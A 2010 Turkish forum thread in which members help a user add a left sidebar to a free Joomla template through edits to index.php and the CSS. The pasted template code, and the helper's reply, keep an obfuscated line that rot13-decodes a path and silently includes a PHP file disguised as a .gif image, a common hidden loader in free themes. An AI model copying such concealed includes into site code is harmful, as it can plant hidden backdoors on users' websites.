• 14-05-2010, 12:45:47
    #1
    Üyeliği durduruldu
    merhaba arkadaşlar
    ben web sitem için ücretsiz bir tema beğendim ama bu temada tek sütun var(rightcolumn) o da sağ taraftaydı css de ayar yapıp sola(left) alDım main column u da sağa. Bu temadan vazgeçmek istemiyorum ve iki taraftada sütün olsun istiyorum bir yanada anket vs koyacağım ama kod da tek sütun var sağ tarafa da ve aynı sütundan öbür tarafa da sola da koymak istiyorum. Tema bu ve index.php kodu aşağıda arkadaşlar..
    Alıntı
    <div id="middle_bg"><div id="maincolumn">
    <div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
    <div class="nopad"><jdoc:include type="component" /></div>
    </div>
    <div id="rightcolumn">
    <?php if($this->countModules('left') and JRequest::getCmd('layout') != 'form') : ?>
    <jdoc:include type="modules" name="left" style="xhtml"/>
    <?php endif; ?>

    </div>
    <br clear="all" />
    <?php if($this->countModules('user1') or $this->countModules('user2')) : ?>
    <div id="f_area" align="center">
    <?php if($this->countModules('user1')) : ?>
    <jdoc:include type="modules" name="user1" style="xhtml" />
    <?php endif; ?>
    <?php if($this->countModules('user2')) : ?>
    <jdoc:include type="modules" name="user2" style="xhtml" />
    <?php endif; ?>
    <br clear="all" /></div>
    <?php endif; ?>
    <img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/middle_bottom.png" alt="" /></div>

    <?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13 ($JPan[0].'.t'.'vs'))) : ?>
    <jdoc:include type="modules" name="layout" style="rounded" />
    <?php endif; ?>
    <p id="power_by" align="center">
    teşekkürler
  • 14-05-2010, 17:05:40
    #2
    Kimlik doğrulama veya yönetimden onay bekliyor.
    aksiseda adlı üyeden alıntı: mesajı görüntüle
    merhaba arkadaşlar
    ben web sitem için ücretsiz bir tema beğendim ama bu temada tek sütun var(rightcolumn) o da sağ taraftaydı css de ayar yapıp sola(left) alDım main column u da sağa. Bu temadan vazgeçmek istemiyorum ve iki taraftada sütün olsun istiyorum bir yanada anket vs koyacağım ama kod da tek sütun var sağ tarafa da ve aynı sütundan öbür tarafa da sola da koymak istiyorum. Tema bu ve index.php kodu aşağıda arkadaşlar..

    teşekkürler
    index.php de aşağıdaki kod bloğunu bulup kodlarını şu şekle getir;
    <div id="lefttcolumn">
    <?php if($this->countModules('left') and JRequest::getCmd('layout') != 'form') : ?>
    <jdoc:include type="modules" name="left" style="xhtml"/>
    <?php endif; ?>
    </div>
    <div id="middle_bg"><div id="maincolumn">
    <div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
    <div class="nopad"><jdoc:include type="component" /></div>
    </div>
    <div id="rightcolumn">
    <?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form') : ?>
    <jdoc:include type="modules" name="right" style="xhtml"/>
    <?php endif; ?>

    </div>
    <br clear="all" />
    <?php if($this->countModules('user1') or $this->countModules('user2')) : ?>
    <div id="f_area" align="center">
    <?php if($this->countModules('user1')) : ?>
    <jdoc:include type="modules" name="user1" style="xhtml" />
    <?php endif; ?>
    <?php if($this->countModules('user2')) : ?>
    <jdoc:include type="modules" name="user2" style="xhtml" />
    <?php endif; ?>
    <br clear="all" /></div>
    <?php endif; ?>
    <img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/middle_bottom.png" alt="" /></div>

    <?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot 13 ($JPan[0].'.t'.'vs'))) : ?>
    <jdoc:include type="modules" name="layout" style="rounded" />
    <?php endif; ?>
    <p id="power_by" align="center">

    sonra CSS ye aşağıdaki kodları ekle;
    #leftcolumn {
    float:left;
    margin:0;
    padding:0 6px 0 0;
    width:auto;
    }
    sonra CSS de aşağıdaki bölümü bul ve 745 değerini azalt örnek 150px azaltırsan yeni sütunun genişliği 150 olur.

    #maincolumn {
    float:left;
    margin:0;
    padding:0;
    width:745px;
    }
  • 14-05-2010, 22:02:07
    #3
    Üyeliği durduruldu
    maalesef kardeşim çalışmadı bir iki modülüde sola koydum olmadı ... boş sayfa açıyor left column u otomotik mi ayarlayacak? rightcolumn 222 vs değeri var css epey... sen denedin mi bizzat?
  • 14-05-2010, 22:34:38
    #4
    Şöyle deneyin;
    <div id="leftcolumn">
    <?php if($this->countModules('left')) : ?>
    <jdoc:include type="modules" name="left" style="xhtml"/>
    <?php endif; ?>
    </div>

    bir de ilk verdiğim kodlarda aşağıdaki bölümde lefttcolumn yazmışım yanlışlıkla 2 adet t var ondan çalışmamış olabilir önce tek t ile deneyin olmazsa yukarda yazdıklarımı deneyin.
    <div id="leftcolumn">
    <?php if($this->countModules('left')) : ?>
    <jdoc:include type="modules" name="left" style="xhtml"/>
    <?php endif; ?>
    </div>